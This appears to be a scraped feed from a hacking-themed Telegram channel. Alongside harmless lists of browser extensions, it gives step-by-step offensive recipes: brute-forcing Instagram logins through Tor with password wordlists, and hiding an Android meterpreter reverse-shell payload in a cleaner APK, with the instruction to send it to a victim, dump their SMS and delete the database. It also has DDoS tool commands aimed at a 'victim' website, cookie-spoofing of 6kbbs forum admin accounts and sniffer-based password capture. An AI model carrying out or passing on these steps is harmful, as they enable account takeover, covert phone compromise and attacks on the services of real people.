▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑so hepful top google chrome plugins 2020 :

https://chrome.google.com/webstore/detail/tab-wrangler/egnjhciaieeiiohknchakcodbpgjnchh?hl=en

https://chrome.google.com/webstore/detail/the-great-suspender/klbibkeccnjlkjkiokjodocebajanakg?hl=en

https://chrome.google.com/webstore/detail/foxclocks/obcbigljfpgappaaofailjjoabiikckk?hl=en

https://chrome.google.com/webstore/detail/lastpass-free-password-ma/hdokiejnpimakedhajhdlcegeplioahd

https://chrome.google.com/webstore/detail/evernote-web-clipper/pioclpoplcdbaefihamjohnefbikjilc?hl=en

https://chrome.google.com/webstore/detail/ghostery-%E2%80%93-privacy-ad-blo/mlomiejdfkolichcflejclcbmpeaniij?hl=en

https://chrome.google.com/webstore/detail/adblock-plus-free-ad-bloc/cfhdojbkjhnklbpkdaibdccddilifddb

https://chrome.google.com/webstore/detail/hover-zoom%2B/pccckmaobkjjboncdfnnofkonhgpceea?hl=en

https://chrome.google.com/webstore/detail/panicbutton/faminaibgiklngmfpfbhmokfmnglamcm?hl=en

https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg

https://chrome.google.com/webstore/detail/evernote-web-clipper/pioclpoplcdbaefihamjohnefbikjilc?hl=en

enjoy ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑TOP 202 FIREFOX PLUGINS- HELPFUL :

https://addons.mozilla.org/en-US/firefox/addon/adblock-plus/

https://addons.mozilla.org/en-US/firefox/addon/ghostery/

https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/

https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/

https://addons.mozilla.org/en-US/firefox/addon/lightshot/

https://addons.mozilla.org/en-US/firefox/addon/umatrix/

https://addons.mozilla.org/en-US/firefox/addon/darkreader/

https://addons.mozilla.org/en-US/firefox/addon/clippings/

https://addons.mozilla.org/en-US/firefox/addon/
grammarly-1/

https://addons.mozilla.org/en-US/firefox/addon/videospeed/

https://addons.mozilla.org/en-US/firefox/addon/tabliss/

https://addons.mozilla.org/en-US/firefox/addon/gesturefy/

https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/

https://addons.mozilla.org/en-US/firefox/addon/image-search-options/

https://addons.mozilla.org/en-US/firefox/addon/cookie-autodelete/

https://addons.mozilla.org/en-US/firefox/addon/export-tabs-urls-and-titles/

https://addons.mozilla.org/en-US/firefox/addon/smart-referer/

enjoy ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Windows for Pentester_ Certutil

-What is certutil? What is Living off Land? -Working with certutil?
- What is Alternative Data Stream (ADS)?

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 Topic Hacking :

F E A T U R E S :

-Subdomains monitoring: put data to Discord, Slack or Telegram

-webhooks. See Subdomains Monitoring for more information.

-Multi-thread support for API querying, it makes that the maximun time that Findomain will take to search subdomains for any target is 15 seconds (in case of API's timeout).

-Parallel support for subdomains resolution, in good network conditions can resolv about 3.5k of subdomains per minute.
DNS over TLS support.

-Specific IPv4 or IPv6 query support.

-Discover subdomains without brute-force, it tool uses Certificate

-Transparency Logs and APIs.

-Discover only resolved subdomains.

-Discover subdomains IP for data analisis.

-Read target from user argument (-t) or file (-f).

-Write to one unique output file specified by the user all or only resolved subdomains.

-Write results to automatically named TXT output file(s).

-Hability to query directly the Findomain database created with
Subdomains Monitoring for previous discovered subdomains.

-Hability to import and work data discovered by other tools.

-Quiet mode to run it silently.

-Cross platform support: Any platform, it's written in Rust and Rust is multiplatform. See the documentation for instructions.

-Multiple API support.

-Possibility to use as subdomain resolver.

-Subdomain wildcard detection for accurate results.

-Support for subdomain discover using bruteforce method.

-Support for configuration file in TOML, JSON, HJSON, INI or YAML format.

-Custom DNS IP addresses for fast subdomains resolving (more than 60 per second by default, adjustable using the --threads option.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) $ git clone https://github.com/Edu4rdSHL/findomain.git -b develop # Only the develop branch is needed

2) $ cd findomain

3) $ cargo build --release

4) $ ./target/release/findomain

5) for linux

> $ chmod +x findomain-linux

> $ ./findomain-linux

C O M P A T I B I L I T Y :

Linux
Windows
MacOS
Aarch64 (Raspberry Pi)
NixOS
Docker

MORE TUTORIALS https://asciinema.org/a/3kHnCYTDsOp20ttgNXXgvCRjX

E N J O Y ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

24/24 posts enjoy & share us ❤️👍🏻

T.me/UndercodeTesting

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Sniffer may cause harm:

1) The sniffer can capture passwords

2) It can capture private or confidential information

3) It can be used to compromise the security of network neighbors, or to obtain higher-level access rights.

> In fact, If you have an unauthorized sniffer on the network, you think your system has been exposed to others. (You can try the sniffing function of Skyline 2)

4) Generally, we only sniff the first 200 to 300 bytes of each message. The username and password are included in this part, which is the real part we care about. Workers can also sniff all the packets on a given interface. If there is enough space for storage and enough for processing, they will find other very interesting things...

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

someone ask about phishing facebook via termux no root #requested

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HACK INSTAGRAM WITH LINUX OS :

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/Ethical-H4CK3R/Instagram.git

2) chmod -R 755 Instagram && cd Instagram

3) python instagram.py

4)get any wordlist example :

> > https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

> http://www.insidepro.team/

> https://wiki.skullsecurity.org/Passwords

> https://github.com/danielmiessler/SecLists/tree/master/Passwords

> https://github.com/berzerk0/Probable-Wordlists

> https://github.com/topics/password-cracking

(up to 12 Gb wordlists)

5) install Tor with: sudo apt-get install tor

6) python instagram.py Username wordlist.txt

E N J O Y ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HACK WHATSAPP VIA LINUX-PARROT/KALI/UBUNTU :

A ) Install requirements :

1) apt-get install lib32stdc++6 lib32ncurses5 lib32z1

2) git clone https://github.com/SkullTech/apk-payload-injector

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

3) choose the APK PAYLOAD - recommended any cleaner apk

4) make sure to place both of the apk and the script you downloaded earlier in the same directory

5)type in terminal :

> ruby apk-embed-payload.rb cleanerapk.apk -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.x.xxx LPORT=xxxx

6)now type :
> msfconsole

7) type in terminal :

> use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST {local ip to listen on}
set LPORT {the port you set earlier}
exploit

8) now send the apk to the victim :))

9) after installing ——->> use the command drop_sms

10) recommended :
root the phone and simply spoof the MAC adress using a terminal, download from playstore like termux


11) to delet the android sms db use this command :

> delete data/data/com.android.providers.telephony/databases/mmssms.db

E N J O Y ❤️👍🏻
written by @medusaU
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑TOP TWITTER HACKING 2020 :
windows-linux

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) sudo apt install python-pip python-dev build-essential python2.7-dev python-pyexiv2 python-openssl

2) sudo pip install --upgrade pip

3) sudo pip install --upgrade virtualenv

4) sudo pip install --upgrade tweepy

5) sudo pip install --upgrade pillow

6) sudo pip install --upgrade exifread

7) sudo pip install --upgrade jinja2

8) sudo pip install --upgrade oauth2

9)download or clone https://github.com/vaguileradiaz/tinfoleak

10) Edit "tinfoleak.conf"

11) Use your favorite editor ;-)

12) Give value to these variables:
CONSUMER_KEY
CONSUMER_SECRET
ACCESS_TOKEN
ACCESS_TOKEN_SECRET

13) How to obtain these values:
https://developer.twitter.com/en/docs/basics/authentication/guides/access-tokens
Save "tinfoleak.conf"
Execute "tinfoleak.py"

E N J O Y ❤️👍🏻
U S E F O R L E A R N
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HTTP-FLOOD TOPIC (TERMUX/LINUX)
Wreckuests is a script, which allows you to run DDoS attacks with HTTP-flood(GET/POST). It's written in pure Python and uses proxy-servers as "bots". OF COURSE, this script is not universal and you can't just drop Pentagon/NSA/whatever website with just a single mouse click. Each attack is unique, and for each website you'd need to search for vulnerabilities and exult them.

F E T U R E S :

-Cache bypass with URL parameters randomization
-CloudFlare detection and notification of
-Automatic gzip/deflate toggling
-HTTP Authentication bypass
-UserAgent substitution
-Referers randomizer
-HTTP proxy support

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) https://github.com/JamesJGoodwin/wreckuests.GIT

2) chmod +x install.sh

3) ./install.sh

REQUIRE ROOT FOR TERMUX USERS

4) python3 wreckuests.py -v <target url> -a <login:pass> -t <timeout>

E N J O Y ❤️👍🏻
U S E F O R L E A R N
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑updated 2020 node.js module for getting and setting HTTP(S) cookies
> Cookies can be signed to prevent tampering, using Keygrip. It can be used with the built-in node.js HTTP library, or as Connect/Express middleware.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) open open any debian base terminal and type
> npm install

2) $ npm install cookies

3) express.createServer( Cookies.express( keys ) )

>This adds cookie support as a Connect middleware layer for use in Express apps, allowing inbound cookies to be read using req.cookies.get and outbound cookies to be set using res.cookies.set.

4) full usage on: https://github.com/pillarjs/cookies

🦑 F E A T U R E S :

1) Lazy: Since cookie verification against multiple keys could be expensive, cookies are only verified lazily when accessed, not eagerly on each request.

2) Secure: All cookies are httponly by default, and cookies sent over SSL are secure by default. An error will be thrown if you try to send secure cookies over an insecure socket.

3) Unobtrusive: Signed cookies are stored the same way as unsigned cookies, instead of in an obfuscated signing format. An additional signature cookie is stored for each signed cookie, using a standard naming convention (cookie-name.sig). This allows other libraries to access the original cookies without having to know the signing mechanism.

4) Agnostic: This library is optimized for use with Keygrip, but does not require it; you can implement your own signing scheme instead if you like and use this library only to read/write cookies. Factoring the signing into a separate library encourages code reuse and allows you to use the same signing library for other areas where signing is needed, such as in URLs.

E N J O Y ❤️👍🏻
U S E F O R L E A R N
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Qualcomm confirms that Snapdragon DSP flaws can expose 40% of smartphones to hackers :
#news

>Qualcomm has confirmed that it has found a huge flaw in their smartphone chipset, leaving the phone completely exposed to hackers. The vulnerability was discovered by Check Point security company. A large number of flaws in the Snapdragon DSP in Android phones can allow hackers to steal data, install hidden spyware that is difficult to find, and even completely damage the phone and make it unusable.

> Check Point publicly disclosed this flaw on Pwn2Own, revealing that the security setting of the DSP in the built-in Qualcomm Snapdragon processor phone was easily bypassed, and 400 exploitable flaws were found in the code.

> For security reasons, cDSP is authorized to OEM manufacturers and limited third-party software vendors for programming. The code running on the DSP is signed by Qualcomm. The security agency successfully demonstrated how Android applications can bypass Qualcomm’s signature and execute privileged code on the DSP, and what further security issues this will cause.. (check picture here after this telegram post)

> Hexagon SDK is the official way to prepare DSP-related code for manufacturers. Its SDK has serious bugs, which leads to hundreds of hidden vulnerabilities in Qualcomm's own and manufacturer codes. In fact, almost all DSP executable libraries embedded in Qualcomm-based smart phones will be attacked due to problems with the Hexagon SDK, and the resulting and exposed security vulnerabilities can be exploited by hackers.

#news
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑FASTEST DDOS FOR TERMUX -2020

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) Open Terminal in Kali Linux or Termux in Android

2) mkdir ddos

3) cd ddos

4) pkg install python2

5) pkg install git

6) git clone https://github.com/jseidl/GoldenEye.git

7) cd GoldenEye/

8) ./goldeneye.py victim-website.com

9) python2 ./goldeneye.py victim-website.com

10) Add values for workers (-w), sockets (-s) and method (-m)
./goldeneye.py victim-website.com -w 100 -s 70 -m post

USE FOR LEARN
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑What is Sniffing & how many categories :

> Sniffing sniffer cares about can be divided into the following categories:

1) Password
I think this is the reason for most illegal use of sniffer, sniffer can record the userid and passwd transmitted in plain text. Even if you use encryption during network transmission Data, like the data recorded by sniffer, may make the intruder try to figure out your algorithm while eating skewers at home.

2) Financial account
Many users are at ease using their credit card or cash account on the Internet, but sniffers can easily intercept the user name, password, credit card number, expiration date, account number, and pin sent online.

3) Peeping confidential or sensitive information and data
through interception Data packets, intruders can easily record the transfer of sensitive information between others, or simply intercept the entire email conversation process.

4) Spy on low-level protocol information.
This is a terrible thing, I think, by recording the underlying information protocol, such as recording the network interface address between two hosts, the remote network interface ip address, ip routing information, and the byte order number of the tcp connection.

5) This information will post a great harm to network security after being mastered by illegal intruders. Usually someone uses sniffers to collect this information for only one reason: he is conducting a fraud, (usually ip address fraud requires you to accurately insert the tcp connection Byte order number, which will be pointed out in a later article) If someone is very concerned about this issue, then the sniffer is just a prelude to him, and the problem will be much bigger in the future. (For advanced hackers, I think this is the only reason to use sniffer attacks)


@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Crack mysql root password :

Windows:

1) Log in to the system with the system administrator.

2) Stop the MySQL service.

3) Enter the command window, and then enter the MySQL installation directory, for example, my installation directory is c:\mysql, enter C:\mysql\bin

4) Skip the permission check to start MySQL,
c:\mysql\bin>mysqld-nt --skip-grant-tables

5) Reopen a window, enter the c:\mysql\bin directory, and set the new root password

 c:\mysql\bin>mysqladmin -u root flush-privileges password "newpassword"

>c:\mysql \bin>mysqladmin -u root -p shutdown

6) replace newpassword with the root password you want to use. The second command will prompt you to enter the new password. Repeat the password entered in the first command.

7) Stop MySQL Server and start Mysql in normal mode

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Windows hacking with pictures :)

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Hack email accounts or passwords using session cookie :

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

A) UNDERSTANDING :

1) Cookies spoofing is to obtain the corresponding user permission to log in by modifying the content of Cookies in a system that only authenticates users with Cookies.

🦑 So what are Cookies?

<> Let me give you a professional explanation. Cookies is a text file stored in the browser directory, which records the information about your visit to a specific site, and can only be read back by the site that created the Cookie. It consists of 255 characters and only occupies 4KB of hard disk space. When the user is browsing a certain site, it is stored in the random access memory RAM of the user machine, and after exiting the browser, it is stored in the user's hard disk. Most of the information stored in Cookies is common

Second, principle analysis

B ) A T T A C K :

Let's first take a look at how 6kbbs is done. In login.asp we find 113-124 lines, look here : ))

if login=false then tl=" login failed" mes=mes&"
·Return to fill in "else Response.Cookies(prefix)("lgname")
=lgname session(prefix"lgname")=
lgname Response.Cookies(prefix)("lgpwd")=
lgpwd Response.Cookies(prefix)("lgtype")=
lgtype Response.Cookies(prefix)("lgcook")=
cook if cook>0 then Response.Cookies(prefix).Expires=
date+cook end if

3) Let me change the meaning of this passage. If you fail to log in, it will show you login failed and lead you back to the previous page, otherwise it will be written into Cookies for you. If your Cookies have it, then yours The expiration time is the expiration time of your cookies-that is, the time you save the cookies.

4) now I take 6kbbs as an example, and assume that you have already obtained the website database or the administrator's MD5 encrypted password. How to get it, go to the search engine to search for the keyword "powered by 6kbbs", and then you will see a lot of 6kbbs websites.

5) Open IECookiesView, this software is used to view and modify the cookies of this machine, which is very convenient for our cookies to deceive and invade.

N O T E S :

<> The deception of this undercode tutorial can only get the front-end administrator authority, the back-end needs to enter a password, and it is Session authentication, not Cookies, so we can't deceive.

<> Cookies spoofing exists in a large number of current programs that do not do Session verification. So, if you get the database or administrator encryption password, you might as well try Cookies spoofing, it will have unexpected effects.

E N J O Y ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 apps FOR SHOWING WIFI SAVED PASSWORD :

Download it from https://play.google.com/store/apps/details?id=com.doionline.wifipasswordrecovery&hl=en_US

Download it from https://wifi-password-root.en.uptodown.com/android

Download it from https://play.google.com/store/apps/details?id=com.sbacham.srinu.showwifipassword2017&hl=en_US

Download it from https://play.google.com/store/apps/details?id=com.matic.showwifipassword&hl=en

🦑for windows :

https://wifi-password-revealer.en.uptodown.com/windows

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁